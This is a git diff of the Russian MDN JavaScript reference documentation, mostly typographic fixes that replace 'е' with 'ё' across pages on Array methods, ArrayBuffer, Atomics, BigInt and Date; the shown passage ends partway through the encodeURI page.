    обратите внимание, что current не определен и любые попытки доступа к нему вернут undefined.

    +

    обратите внимание, что current не определён и любые попытки доступа к нему вернут undefined.

    Удаление сеттера оператором delete

    diff --git a/files/ru/web/javascript/reference/global_objects/array/concat/index.html b/files/ru/web/javascript/reference/global_objects/array/concat/index.html index b3c2fa6eea..5d2bff7df7 100644 --- a/files/ru/web/javascript/reference/global_objects/array/concat/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/concat/index.html @@ -119,7 +119,7 @@ console.log(alphaNumeric); // Результат: ['a', 'b', 'c', 1, 2, 3]

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.concat")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/every/index.html b/files/ru/web/javascript/reference/global_objects/array/every/index.html index 830be8882f..dc64e46dc1 100644 --- a/files/ru/web/javascript/reference/global_objects/array/every/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/every/index.html @@ -50,7 +50,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/every

    Описание

    -

    Метод every() вызывает переданную функцию callback один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого callback вернет ложное значение (значение, становящееся равным false при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод every() немедленно вернёт false. В противном случае, если callback вернёт true для всех элементов массива, метод every() вернёт true. Функция callback вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.

    +

    Метод every() вызывает переданную функцию callback один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдёт такой, для которого callback вернёт ложное значение (значение, становящееся равным false при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод every() немедленно вернёт false. В противном случае, если callback вернёт true для всех элементов массива, метод every() вернёт true. Функция callback вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.

    Функция callback вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.

    diff --git a/files/ru/web/javascript/reference/global_objects/array/fill/index.html b/files/ru/web/javascript/reference/global_objects/array/fill/index.html index 1e3fb187da..3bb59fb99d 100644 --- a/files/ru/web/javascript/reference/global_objects/array/fill/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/fill/index.html @@ -146,7 +146,7 @@ arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.fill")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/filter/index.html b/files/ru/web/javascript/reference/global_objects/array/filter/index.html index da6a9296ae..2eb7f46f9f 100644 --- a/files/ru/web/javascript/reference/global_objects/array/filter/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/filter/index.html @@ -287,7 +287,7 @@ console.log(deleteWords)

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.filter")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/find/index.html b/files/ru/web/javascript/reference/global_objects/array/find/index.html index ceef78d17d..46c0b0e693 100644 --- a/files/ru/web/javascript/reference/global_objects/array/find/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/find/index.html @@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/find

    Метод find не изменяет массив, для которого он был вызван.

    -

    Диапазон элементов, обрабатываемых методом find, устанавливается до первого вызова функции callback. Элементы, добавленные в массив после начала выполнения метода find, не будут посещены функцией callback. Если существующие, непосещение элементы массива изменяются функцией callback, их значения, переданные в функцию, будут значениями на тот момент времени когда метод find посетит их; удалённые элементы все еще будут посещены. 

    +

    Диапазон элементов, обрабатываемых методом find, устанавливается до первого вызова функции callback. Элементы, добавленные в массив после начала выполнения метода find, не будут посещены функцией callback. Если существующие, непосещение элементы массива изменяются функцией callback, их значения, переданные в функцию, будут значениями на тот момент времени когда метод find посетит их; удалённые элементы все ещё будут посещены. 

    Примеры

    diff --git a/files/ru/web/javascript/reference/global_objects/array/flat/index.html b/files/ru/web/javascript/reference/global_objects/array/flat/index.html index 236fa402fa..9fbccf3f75 100644 --- a/files/ru/web/javascript/reference/global_objects/array/flat/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/flat/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat

    Возвращаемое значение

    -

    Новый массив с объединенными в него подмассивами.

    +

    Новый массив с объединёнными в него подмассивами.

    Примеры

    @@ -76,7 +76,7 @@ arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4] const flatSingle = arr => [].concat(...arr);
    -
    // Для развертывания многомерных массивов используем рекурсию, reduce и concat
    +
    // Для развёртывания многомерных массивов используем рекурсию, reduce и concat
     const arr = [1, 2, [3, 4, [5, 6]]];
     
     function flatDeep(arr, d = 1) {
    diff --git a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
    index 9a349176f9..35bf8b9a41 100644
    --- a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
    +++ b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
    @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
     
     
    callback
    -
    Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трех аргументов:
    +
    Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трёх аргументов:
    currentValue
    @@ -253,7 +253,7 @@ words.forEach((word) => {

    Выравнивание (уплощение) массива

    -

    Следующий пример приведен только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}

    +

    Следующий пример приведён только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}

    function flatten(arr) {
       const result = []
    @@ -370,7 +370,7 @@ if (!Array.prototype.forEach) {
     

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.forEach")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/keys/index.html b/files/ru/web/javascript/reference/global_objects/array/keys/index.html index 94cc84dd43..21899980d1 100644 --- a/files/ru/web/javascript/reference/global_objects/array/keys/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/keys/index.html @@ -76,7 +76,7 @@ console.log(denseKeys); // [0, 1, 2]

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.keys")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html index 2b69fd256f..8857ca7b47 100644 --- a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html @@ -145,7 +145,7 @@ if (!Array.prototype.lastIndexOf) {

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.lastIndexOf")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/map/index.html b/files/ru/web/javascript/reference/global_objects/array/map/index.html index 89a4c3362c..b9adf151c8 100644 --- a/files/ru/web/javascript/reference/global_objects/array/map/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/map/index.html @@ -270,7 +270,7 @@ if (!Array.prototype.map) {

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.map")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html index b135b336ee..72c06b90b5 100644 --- a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html @@ -302,7 +302,7 @@ if (!Array.prototype.reduce) {

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.reduce")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html index 811d7adea9..d5845f1bbd 100644 --- a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html @@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse

    Возвращаемое значение

    -

    Перевернутый массив

    +

    Перевёрнутый массив

    Описание

    @@ -82,7 +82,7 @@ console.log(myArray) // ['три', 'два', 'один']

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.reverse")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/slice/index.html b/files/ru/web/javascript/reference/global_objects/array/slice/index.html index d3b197f00b..4654f52d0a 100644 --- a/files/ru/web/javascript/reference/global_objects/array/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/slice/index.html @@ -28,8 +28,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
    begin {{optional_inline}}
    Индекс (счёт начинается с нуля), по которому начинать извлечение.
    Если индекс отрицательный, begin указывает смещение от конца последовательности. Вызов slice(-2) извлечёт два последних элемента последовательности.
    -
    Если begin не определен, slice() начинает работать с индекса 0.
    -
    Если begin больше длины последовательности вернется пустой массив.
    +
    Если begin не определён, slice() начинает работать с индекса 0.
    +
    Если begin больше длины последовательности вернётся пустой массив.
    end {{optional_inline}}
    Индекс (счёт начинается с нуля), по которому заканчивать извлечение. Метод slice() извлекает элементы с индексом меньше end.
    Вызов slice(1, 4) извлечёт элементы со второго по четвёртый (элементы по индексам 1, 2 и 3).
    @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice

    Возвращаемое значение

    -

    Новый массив, содержащий извлеченные элементы.

    +

    Новый массив, содержащий извлечённые элементы.

    Описание

    @@ -228,7 +228,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3]

    Совместимость с браузерами

    - +

    {{Compat("javascript.builtins.Array.slice")}}

    diff --git a/files/ru/web/javascript/reference/global_objects/array/some/index.html b/files/ru/web/javascript/reference/global_objects/array/some/index.html index 9bc3fbd7f3..a9d6aea2e0 100644 --- a/files/ru/web/javascript/reference/global_objects/array/some/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/some/index.html @@ -52,7 +52,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/some

    Описание

    -

    Метод some() вызывает переданную функцию callback один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого callback вернет истинное значение (значение, становящееся равным true при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод some() немедленно вернёт true. В противном случае, если callback вернёт false для всех элементов массива, метод some() вернёт false. Функция callback вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.

    +

    Метод some() вызывает переданную функцию callback один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдёт такой, для которого callback вернёт истинное значение (значение, становящееся равным true при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод some() немедленно вернёт true. В противном случае, если callback вернёт false для всех элементов массива, метод some() вернёт false. Функция callback вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.

    Функция callback вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.

    diff --git a/files/ru/web/javascript/reference/global_objects/array/sort/index.html b/files/ru/web/javascript/reference/global_objects/array/sort/index.html index 16b73503c5..f33119cd53 100644 --- a/files/ru/web/javascript/reference/global_objects/array/sort/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/sort/index.html @@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort

    Возвращаемое значение

    -

    Отсортированный массив. Важно, что копия массива не создается - массив сортируется на месте.

    +

    Отсортированный массив. Важно, что копия массива не создаётся - массив сортируется на месте.

    Описание

    diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html index 3dfc1687ab..19d63d3859 100644 --- a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html +++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer ---
    {{JSRef}}
    -

    Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать типизированный массив или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в ArrayBuffer

    +

    Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не даёт. Вместо этого, вы можете создать типизированный массив или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в ArrayBuffer

    Синтаксис

    @@ -24,11 +24,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer

    Возвращаемое значение

    -

    Новый объект ArrayBuffer определенного размера. Изначально содержимое равно 0.

    +

    Новый объект ArrayBuffer определённого размера. Изначально содержимое равно 0.

    Описание

    -

    Конструктор ArrayBuffer создает новый ArrayBuffer установленного в байтах размера.

    +

    Конструктор ArrayBuffer создаёт новый ArrayBuffer установленного в байтах размера.

    Создание буфера

    @@ -50,16 +50,16 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
    {{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}
    -
    Возвращает true если arg – одно из представлений ArrayBuffer, например типизированный массив или {{jsxref("DataView")}}. Вернет false в остальных случаях.
    +
    Возвращает true если arg – одно из представлений ArrayBuffer, например типизированный массив или {{jsxref("DataView")}}. Вернёт false в остальных случаях.
    {{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}
    -
    Вернет новый ArrayBuffer, контент которого будет взят из данных oldBuffer, а затем усечен или дополнен нулевыми значениями до newByteLength.
    +
    Вернёт новый ArrayBuffer, контент которого будет взят из данных oldBuffer, а затем усечён или дополнен нулевыми значениями до newByteLength.

    Пример

    -

    В этом примере мы создаем 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:

    +

    В этом примере мы создаём 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:

    var buffer = new ArrayBuffer(8);
     var view   = new Int32Array(buffer);
    @@ -76,7 +76,7 @@ var view = new Int32Array(buffer);
    {{SpecName('Typed Array')}} {{Spec2('Typed Array')}} - Заменен спецификацией ECMAScript 6. + Заменён спецификацией ECMAScript 6. {{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}} diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html index 84b8592a5e..6182148417 100644 --- a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice ---
    {{JSRef}}
    -

    Метод slice() вернет новый ArrayBuffer, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).

    +

    Метод slice() вернёт новый ArrayBuffer, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).

    Syntax

    diff --git a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html index b1475ad6e3..41f858c951 100644 --- a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html +++ b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction ---
    {{JSRef}}
    -

    Конструктор AsyncFunction создает новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.

    +

    Конструктор AsyncFunction создаёт новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.

    Обратите внимание, что AsyncFunction не является глобальным объектом. Её можно получить, выполнив следующий код.

    @@ -20,14 +20,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
    arg1, arg2, ... argN
    -
    Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделенных запятой; например, "x", "theValue", или "a,b". 
    +
    Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделённых запятой; например, "x", "theValue", или "a,b". 
    functionBody
    Строка, содержащая в себе определение функции в исходном коде JavaScript .

    Описание

    -

    Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor  будут распарсены в момент, когда функция создается. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать ее внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.

    +

    Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor  будут распарсены в момент, когда функция создаётся. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать её внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.

    Все аргументы, переданные функции, рассматриваются как имена идентификаторов параметров в создаваемой функции в том порядке, в котором они передаются.

    diff --git a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html index 546fdbd27f..003ce1619a 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add ---
    {{JSRef}}
    -

    Статический метод Atomics.add() добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.

    +

    Статический метод Atomics.add() добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдёт, пока изменённое значение не будет записано обратно.

    Синтаксис

    @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add
    typedArray
    -
    Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.
    +
    Разделённый массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.
    index
    Позиция в typedArray для добавления value.
    value
    diff --git a/files/ru/web/javascript/reference/global_objects/atomics/index.html b/files/ru/web/javascript/reference/global_objects/atomics/index.html index d51c14af2e..7411110086 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics

    Атомарные операции

    -

    Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнет свою работу, и они не будут прерваны.

    +

    Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнёт свою работу, и они не будут прерваны.

    {{jsxref("Atomics.add()")}}
    @@ -50,12 +50,12 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics

    Wait и notify

    -

    wait() и wake() методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определенное состояние не станет true, и обычно используется как блокирующие конструкции.

    +

    wait() и wake() методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определённое состояние не станет true, и обычно используется как блокирующие конструкции.

    {{jsxref("Atomics.wait()")}}
    -

    Проверяет, содержится в указанной позиции массива все еще представленное значение и спит в ожидании или тайм-аут. Возвращает "ok", "not-equal" или "timed-out". Если ожидание не разрешено в вызывающем агенте, тогда выбросит ошибку исключения (большинство браузеров не разрешают wait() в главном потоке браузера).

    +

    Проверяет, содержится в указанной позиции массива все ещё представленное значение и спит в ожидании или тайм-аут. Возвращает "ok", "not-equal" или "timed-out". Если ожидание не разрешено в вызывающем агенте, тогда выбросит ошибку исключения (большинство браузеров не разрешают wait() в главном потоке браузера).

    {{jsxref("Atomics.wake()")}}
    Пробуждает некоторых агентов, которые спят в очереди ожидания в указанной позиции массива. Возвращает количество агентов, которые были разбужены.
    @@ -145,7 +145,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics

    Похожие заметки

    -

    До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и семантика не были еще реализованы. Изменения между Firefox v. 46 и v. 48:

    +

    До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и семантика не были ещё реализованы. Изменения между Firefox v. 46 и v. 48:

    • Методы Atomics.futexWakeOrRequeue() и Atomics.fence() полностью удалены ({{bug(1259544)}} и {{bug(1225028)}}).
    • diff --git a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html index d3a9bbd3b4..05a2727be0 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub ---
      {{JSRef}}
      -

      Статический метод Atomics.sub() вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.

      +

      Статический метод Atomics.sub() вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдёт, пока изменённое значение не будет записано обратно.

      Синтаксис

      @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub
      typedArray
      -
      Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.
      +
      Разделённый массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.
      index
      Позиция в typedArray для добавления value.
      value
      diff --git a/files/ru/web/javascript/reference/global_objects/bigint/index.html b/files/ru/web/javascript/reference/global_objects/bigint/index.html index c8e43137bf..108df340f7 100644 --- a/files/ru/web/javascript/reference/global_objects/bigint/index.html +++ b/files/ru/web/javascript/reference/global_objects/bigint/index.html @@ -10,14 +10,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt ---

      {{JSRef}}

      -

      BigInt это встроенный объект, который предоставляет способ представлять целые числа больше 253 - 1, наибольшего числа, которое JavaScript может надежно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.

      +

      BigInt это встроенный объект, который предоставляет способ представлять целые числа больше 253 - 1, наибольшего числа, которое JavaScript может надёжно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.

      Описание

      -

      BigInt создается путем добавления n в конец целочисленного литерала — 10n — или вызовом функции BigInt().

      +

      BigInt создаётся путём добавления n в конец целочисленного литерала — 10n — или вызовом функции BigInt().

      const theBiggestInt = 9007199254740991n;
       
      @@ -44,7 +44,7 @@ const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111"
       
       

      Тип

      -

      При проверке с использованием оператора typeof, BigInt выдает тип "bigint":

      +

      При проверке с использованием оператора typeof, BigInt выдаёт тип "bigint":

      typeof 1n === 'bigint'; // true
       typeof BigInt('1') === 'bigint'; // true
      @@ -57,7 +57,7 @@ typeof BigInt('1') === 'bigint'; // true
       
       

      Операторы

      -

      Следующие операторы могут использоваться с BigInt (или объектом-оберткой BigInt): +, *, -, **, %.

      +

      Следующие операторы могут использоваться с BigInt (или объектом-обёрткой BigInt): +, *, -, **, %.

      Побитовые операции также поддерживаются, кроме >>> (сдвиг вправо с заполнением нулями).

      @@ -91,7 +91,7 @@ bigN * -1n

      Оператор / также работает, как и ожидалось, с целыми числами. Однако, поскольку это BigInt, эта операция будет округляться в меньшую сторону, то есть она не будет возвращать какие-либо дробные цифры.

      -

      Результат операции с дробным результатом будет округлен в меньшую сторону при использовании  BigInt.

      +

      Результат операции с дробным результатом будет округлён в меньшую сторону при использовании  BigInt.

      const expected = 4n / 2n;
      @@ -138,7 +138,7 @@ mixed.sort();
       // ↪ [-12n, 0, 0n, 10, 4n, 4, 6]
       
      -

      Обратите внимание, что сравнения с обьектом-оберткой BigInt действуют как с другими объектами, указывая на равенство только когда сравнивается идентичный экземпляр объекта:

      +

      Обратите внимание, что сравнения с обьектом-обёрткой BigInt действуют как с другими объектами, указывая на равенство только когда сравнивается идентичный экземпляр объекта:

      0n === Object(0n); // false
       Object(0n) === Object(0n); // false
      @@ -236,7 +236,7 @@ Boolean(12n)
       
       

      Примеры

      -

      Расчет простых чисел

      +

      Расчёт простых чисел

      // Возвращает true, если BigInt — простое число
       function isPrime(p) {
      diff --git a/files/ru/web/javascript/reference/global_objects/date/index.html b/files/ru/web/javascript/reference/global_objects/date/index.html
      index a6ce5896e1..4eb5876bd2 100644
      --- a/files/ru/web/javascript/reference/global_objects/date/index.html
      +++ b/files/ru/web/javascript/reference/global_objects/date/index.html
      @@ -181,7 +181,7 @@ yourFunctionReturn = printElapsedTime(yourFunction);
       
       
      var seconds = Math.floor(Date.now() / 1000);
      -

      В этом случае важно возвращать только целое число (так что простое деление не подойдет), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).

      +

      В этом случае важно возвращать только целое число (так что простое деление не подойдёт), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).

      Спецификации

      diff --git a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html index 3cf8647e14..e9718854f2 100644 --- a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes

      Возвращаемое значение

      -

      Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновленной датой.

      +

      Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновлённой датой.

      Описание

      diff --git a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html index f603359b99..a4991d3e79 100644 --- a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString

      Нет.

      Описание

      -

      Значение, возвращаемое методом toUTCString(), является человеко-читаемой строкой в часовом поясе UTC. Формат возвращаемого значения зависит от платформы. Наиболее распространенным значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.

      +

      Значение, возвращаемое методом toUTCString(), является человеко-читаемой строкой в часовом поясе UTC. Формат возвращаемого значения зависит от платформы. Наиболее распространённым значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.

      Примеры

      diff --git a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html index 8e7562ad05..98b6336f42 100644 --- a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html +++ b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent

      Исключения

      -

      При неправильном использовании выдает исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").

      +

      При неправильном использовании выдаёт исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").

      Описание

      diff --git a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html index 9b6c6d7382..65e8cfda73 100644 --- a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html +++ b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html @@ -82,7 +82,7 @@ console.log(encodeURIComponent('\uD800')); // один низкий суррогат бросит "URIError: malformed URI sequence" console.log(encodeURIComponent('\uDFFF'));
      -

      Также заметим, что следуя наиболее свежей RFC3986 для URL, которая делает квадратные скобки защищенными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:

      +

